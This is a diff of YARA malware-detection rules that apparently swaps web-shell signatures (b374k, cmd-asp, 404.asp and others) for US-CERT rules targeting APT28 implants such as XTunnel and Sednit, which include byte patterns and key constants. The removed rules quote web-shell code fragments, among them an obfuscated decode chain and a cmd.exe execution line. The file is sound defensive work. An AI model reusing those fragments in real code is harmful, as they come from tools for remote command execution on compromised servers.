+		$ = ".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
+		$tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_404
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V13 : FILE
 {
 	meta:
-		description = "Web Shell - file 404.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "e96a7d9f-1840-542f-9a9b-95e74377f234"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L608-L621"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
-		logic_hash = "3db951af36ed3d08bc10b4c3fc2e67481f005580fb76f66b6ec5789ed6e2efdb"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1011-L1032"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "576c07c44105d2a38ca715d366f68058b2b3118f25e91d2d3e2d20e932fc9453"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"
+		$XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+		$XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+		$XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00
+         66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0
+         78 2?}
+		$EXP1 = "DispatchCommand"
+		$EXP2 = "DispatchEvent"
+		$BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D
+         C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshell_Cnseay02_1
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_5_V1
 {
 	meta:
-		description = "Web Shell - file webshell-cnseay02-1.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "XTunnel Implant by APT28"
+		author = "US CERT"
+		id = "dee08753-3465-5bf2-acd5-aa6cc80aba3c"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L622-L635"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95fc76081a42c4f26912826cb1bd24b1"
-		logic_hash = "9950fb7c26dfb25665093dbcf5c4a9dcf65466783509a3caa11c2c96d177d855"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1034-L1051"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d94192d408036bf02052dc5145b78fea61323810b2abdbba64c65e1f6387ea42"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"
+		$hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00
+         70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00}
+		$UDPMSG1 = "error 2005 recv from server UDP - %d\x0a"
+		$TPSMSG1 = "error 2004 send to TPS - %d\x0a"
+		$TPSMSG2 = "error 2003 recv from TPS - %d\x0a"
+		$UDPMSG2 = "error 2002 send to server UDP - %d\x0a"
 
 	condition:
-		all of them
+		any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Fbi
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_5_V2
 {
 	meta:
-		description = "Web Shell - file fbi.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "XTunnel Implant by APT28"
+		author = "US CERT"
+		id = "40f60306-41ee-5a18-84e2-cf479a6bc849"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L636-L649"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1fb32f8e58c8deb168c06297a04a21f1"
-		logic_hash = "de8584ae83ee3e23f4ce00ccd73f75b4568d6a4544af45b83784a9a0c34d42e3"
-		score = 70
-		quality = 85
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1053-L1192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "43e3df19ecd2068636b92c7a5c0399b22f8fa478e3e1562f392e78c5a268a1e5"
+		score = 85
+		quality = 60
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"
+		$key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+		$key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+		$key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+		$key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+		$key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+		$key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 }
+		$key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 }
+		$key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE }
+		$key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A }
+		$key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB }
+		$key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D }
+		$key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 }
+		$key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 }
+		$key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 }
+		$key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 }
+		$key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 }
+		$key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 }
+		$key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E }
+		$key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B }
+		$key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 }
+		$key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 }
+		$key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 }
+		$key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 }
+		$key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 }
+		$key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 }
+		$key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC }
+		$key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB }
+		$key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB }
+		$key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 }
+		$key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 }
+		$key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B }
+		$key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 }
+		$key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 }
+		$key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 }
+		$key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D }
+		$key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F }
+		$key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 }
+		$key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 }
+		$key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 }
+		$key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 }
+		$key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 }
+		$key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 }
+		$key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 }
+		$key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F }
+		$key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 }
+		$key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 }
+		$key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C }
+		$key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C }
+		$key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C }
+		$key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 }
+		$key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 }
+		$key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 }
+		$key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 }
+		$key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 }
+		$key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB }
+		$key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 }
+		$key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 }
+		$key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA }
+		$key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC }
+		$key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB }
+		$key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA }
+		$key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 }
+		$key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 }
+		$key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
+		$key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
+		$key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
+		$key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
+		$key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
+		$key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
+		$key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
+		$key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
+		$key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
+		$key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
+		$key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
+		$key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
+		$key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
+		$key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
+		$key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
+		$key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
+		$key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
+		$key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
+		$key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
+		$key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
+		$key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
+		$key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
+		$key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
+		$key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
+		$key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
+		$key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
+		$key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
+		$key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
+		$key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
+		$key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
+		$key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
+		$key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
+		$key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
+		$key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
+		$key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
+		$key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
+		$key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
+		$key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
+		$key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
+		$key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
+		$key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
+		$key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
+		$key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
+		$key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
+		$key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
+		$key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
+		$key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
+		$key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
+		$key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
+		$key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
+		$key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
+		$key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
+		$key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
+		$key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
+		$key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
+		$key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
+		$key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
+		$key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
+		$key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
+		$key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
+		$key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
+		$key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
+		$key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
+		$key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
+		$key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }
 
 	condition:
-		all of them
+		any of them
 }
-rule SIGNATURE_BASE_Webshell_B374Kphp_B374K
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_5_V3
 {
 	meta:
-		description = "Web Shell - file B374k.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "XTunnel Implant by APT28"
+		author = "US CERT"
+		id = "0763e314-85d0-5c16-b766-36298176e0ff"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L650-L666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bed7388976f8f1d90422e8795dff1ea6"
-		logic_hash = "1f0fc5e309dd67a11d6ba9b698fd9ca3c7e6616545c220de79aaa3b63f0ad931"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1194-L1207"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aec1314858732d30b62a033e85eea50b3375e4f5b0e1818a941979d5be672297"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Http://code.google.com/p/b374k-shell" fullword
-		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
-		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
-		$s4 = "B374k Vip In Beautify Just For Self" fullword
+		$BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
+		$BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }
 
 	condition:
-		1 of them
+		any of them
 }
-rule SIGNATURE_BASE_Webshell_Cmd_Asp_5_1
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_5_V4
 {
 	meta:
-		description = "Web Shell - file cmd-asp-5.1.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "XTunnel Implant by APT28"
+		author = "US CERT"
+		id = "db6df7ea-f119-5e9a-bcea-c65580418042"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L667-L680"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
-		logic_hash = "1ff4ae8c08cec4605594e97d6c077d4808d3a73c04ddf6a51952252dd2d01cf4"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1209-L1225"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "98a08860453496d9629f62c64fed50a24b8378dcfa39b8b654610c2ac9084fa8"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+		$FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+		$FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+		$FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+		$FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+		$FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Dodo_Zip
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file zip.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "0554ec8e-f45d-5afc-8874-dc8adfac5cdf"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L681-L695"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7800364374077ce8864796240162ad5"
-		logic_hash = "bdeffafdedeadaba36c5c67f981c42d6111b954622780b930e9eeb9956c638b5"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L1227-L1243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c60402a029034545df302485c14e9485f806f2bc7d5fd759e84d1ecba9854837"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
-		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
+		$STR1 = "dll.dll" wide ascii
+		$STR2 = "Init1" wide ascii
+		$STR3 = "netui.dll" wide ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Azrailphp_V1_0
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_6_V2 : FILE
 {
 	meta:
-		description = "Web Shell - file aZRaiLPhp v1.0.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Sednit / EVILTOSS Implant by APT28"
+		author = "US CERT"
+		id = "59bfbef2-ff0e-59df-9d08-15001cec8ecf"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L696-L710"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26b2d3943395682e36da06ed493a3715"
-		logic_hash = "d0ccf9e37e378db4523d7918b30cff358115e7a4c36fad55a75f3aff218563c6"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
